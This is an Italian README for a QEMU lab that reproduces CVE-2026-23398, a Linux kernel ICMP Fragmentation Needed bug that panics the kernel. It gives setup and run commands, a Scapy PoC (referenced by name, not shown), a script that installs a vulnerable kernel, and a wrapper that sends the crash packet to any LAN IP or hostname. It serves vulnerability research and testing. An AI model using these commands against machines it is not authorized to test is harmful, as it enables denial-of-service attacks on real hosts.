
Laboratorio riproducibile per CVE-2026-23398, una dereferenziazione NULL del kernel Linux in icmp_tag_validation() innescata da pacchetti ICMP Fragmentation Needed, che causa un denial of service. Include configurazione di VM QEMU, PoC con Scapy e script per testare kernel patchati e vulnerabili.
ip_no_pmtu_disc=3)Lab riproducibile per il bug del kernel Linux in icmp_tag_validation() (dereferenziamento NULL quando net.ipv4.ip_no_pmtu_disc = 3 e arriva un ICMP Fragmentation Needed il cui header IPv4 interno citato utilizza un numero di protocollo senza handler in inet_protos[]).
Solo uso autorizzato: sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta al test. L'impatto è denial of service (kernel panic).
| Componente | Scopo |
|---|
QEMU (qemu-system-x86_64, qemu-img) | VM vittima |
cloud-image-utils (cloud-localds), wget, genisoimage | Cloud-init e download dell'immagine |
| Docker + Docker Compose | Mittente ICMP dall'host (modalità rete host) |
| Client OpenSSH | Automazione SSH |
Chiave SSH in ~/.ssh/id_ed25519.pub o id_rsa.pub, oppure sshpass | Accesso al guest senza digitare la password (chiavi consigliate) |
| sudo | Solo modalità TAP (ICMP dall'host all'IP fisso della VM) |
Python 3 e Scapy sull'host servono solo se non usi Docker per i payload remoti.
├── send_frag_needed.py # PoC Scapy (ICMP 3,4 + IP interno con proto insolito)
├── send-payload-to-host.sh # Invia il payload a un IP/hostname sulla tua rete
├── docker-compose.yml # Servizio "sender" (rete host + CAP_NET_RAW)
├── Dockerfile
├── vm/ # Dischi, seed cloud-init, log seriali QEMU
└── scripts/
├── fetch-image.sh
├── prepare-disk.sh
├── build-seed-dhcp.sh # Seed DHCP (modalità usernet)
├── build-seed.sh # Seed IP statico 192.168.76.2 (modalità TAP)
├── vm-start-usernet.sh # QEMU + rete utente (porta SSH 2222)
├── vm-stop-usernet.sh
├── vm-start.sh / vm-stop.sh # QEMU + TAP (dopo tap-up.sh)
├── tap-up.sh / tap-down.sh # Interfaccia TAP sull'host (sudo)
├── run-lab-usernet.sh # Flusso completo: immagine + VM + Scapy sul guest (kernel recente)
├── run-lab.sh # Flusso TAP + sender docker → 192.168.76.2
├── install-vulnerable-mainline.sh # Mainline 6.12 non patchato + PoC veth (panic)
└── poc-veth-netns.sh # Esegui *dentro* il guest (veth + netns)
La rete utente di QEMU non consegna in modo affidabile ICMP originato dall'host al guest. Il flusso automatizzato installa Scapy sulla VM ed esegue lo script lì. Un kernel Ubuntu attuale è solitamente patchato: vedrai "Sent 1 packets" ma nessun panic.
cd /path/to/repo
chmod +x scripts/*.sh send-payload-to-host.sh
# Prima esecuzione: scarica l'immagine cloud Ubuntu Noble, overlay, seed, avvia QEMU, SSH :2222, apt, PoC
./scripts/run-lab-usernet.sh
ssh -p 2222 [email protected] (password lablab se usi l'autenticazione con password)../scripts/vm-stop-usernet.shvm/serial-usernet.logLa correzione della CVE è arrivata a marzo 2026. Una build mainline più vecchia (es. 6.12.0 di 2024-11) non include quella correzione. Lo script installa quei pacchetti .deb nella VM, riavvia ed esegue il PoC usando veth + un network namespace così che l'ICMP segua un percorso ingress reale (inviare solo all'IP di loopback/interfaccia del guest non è sufficiente).
Avvertenza: questo termina tipicamente in un kernel panic; SSH smette di rispondere.
# VM usernet in esecuzione (o dopo che run-lab-usernet l'ha creata una volta)
./scripts/vm-start-usernet.sh # se non è già in esecuzione
./scripts/install-vulnerable-mainline.sh
| Segnale | Panic avvenuto (atteso su 6.12 vulnerabile) | Panic non avvenuto |
|---|---|---|
| SSH subito dopo "Running PoC …" | Si blocca o Connection timed out / Connection reset | La sessione funziona ancora; ottieni una shell |
Output di send_frag_needed.py | Dovresti vedere . Sent 1 packets. prima che SSH muoia (spesso troncato se il link cade immediatamente) | Install Scapy: pip install scapy → Scapy mancava sul guest; l'ICMP non è mai stato inviato. Riesegui install-vulnerable-mainline.sh (installa python3-scapy) oppure esegui sudo apt install -y python3-scapy sulla VM e riesegui il PoC |
| Log seriale | tail -f vm/serial-usernet.log mostra Kernel panic, icmp_unreach, CR2: 0000000000000010, ecc. | Nessuna riga di panic; il guest continua a funzionare |
| Processo QEMU | Ancora in esecuzione ma il sistema operativo guest è morto fino al riavvio | Il guest risponde ancora sulla porta 2222 |
Nota su disco fresco: Se esegui solo prepare-disk.sh + vm-start-usernet.sh (non run-lab-usernet.sh), il guest potrebbe non avere python3-scapy finché install-vulnerable-mainline.sh non lo installa (oppure lo installi manualmente).
Dopo un panic — reset pulito:
./scripts/vm-stop-usernet.sh
rm -f vm/victim.qcow2
./scripts/prepare-disk.sh
./scripts/build-seed-dhcp.sh
./scripts/vm-start-usernet.sh
# opzionale: reinstalla i pacchetti / riesegui install-vulnerable-mainline.sh
Il guest usa 192.168.76.2 e l'host 192.168.76.1 sul TAP. L'ICMP si comporta come su una vera LAN.
./scripts/tap-up.sh # sudo: crea icmp-lab-tap0
./scripts/prepare-disk.sh
./scripts/build-seed.sh # indirizzamento statico in cloud-init
./scripts/vm-start.sh
./scripts/wait-ssh.sh 192.168.76.2
# Sulla VM: sysctl -w net.ipv4.ip_no_pmtu_disc=3 e un kernel vulnerabile se vuoi il panic
docker compose build
docker compose run --rm sender 192.168.76.2
./scripts/run-lab.sh incatena parte di questo flusso (richiede TAP + Docker).
Wrapper di comodità (risolve hostname → IPv4, preferisce Docker, altrimenti sudo + Python):
chmod +x send-payload-to-host.sh
docker compose build # una volta
./send-payload-to-host.sh 192.168.1.50
./send-payload-to-host.sh myserver.lan --inner-proto 253 --nexthop-mtu 1200
Senza Docker:
sudo pip install scapy # se necessario
sudo ./send-payload-to-host.sh 192.168.1.50
Condizioni del target rilevanti per questa CVE:
net.ipv4.ip_no_pmtu_disc = 3 (modalità PMTU indurita).Se il kernel è patchato o il sysctl non è 3, non vedrai un panic; il pacchetto potrebbe comunque essere trasmesso sul cavo.
| Variabile | Descrizione |
|---|---|
ICMP_LAB_TAP | Nome del dispositivo TAP (default icmp-lab-tap0) |
ICMP_LAB_HOST_IP | Indirizzo host sul TAP (default 192.168.76.1/24) |
ICMP_LAB_SSH_PORT | Porta SSH usernet (default 2222) |
ICMP_LAB_SSH_HOST | Host SSH (default 127.0.0.1) |
icmp: fix NULL pointer dereference in icmp_tag_validation() (commit 614aefe56af8e su mainline)3: commit 8ed1dc44d3e9 (hardened ip_no_pmtu_disc)| Obiettivo | Comando |
|---|---|
| Lab usernet alla prima esecuzione | ./scripts/run-lab-usernet.sh |
| Avvia / ferma VM usernet | ./scripts/vm-start-usernet.sh / ./scripts/vm-stop-usernet.sh |
| Kernel vulnerabile + PoC (panic) | ./scripts/install-vulnerable-mainline.sh |
| Reset disco dopo il panic | rm -f vm/victim.qcow2 && ./scripts/prepare-disk.sh && ./scripts/build-seed-dhcp.sh |
| Payload verso IP/host LAN | ./send-payload-to-host.sh <IP|hostname> |
| Build immagine sender Docker | docker compose build |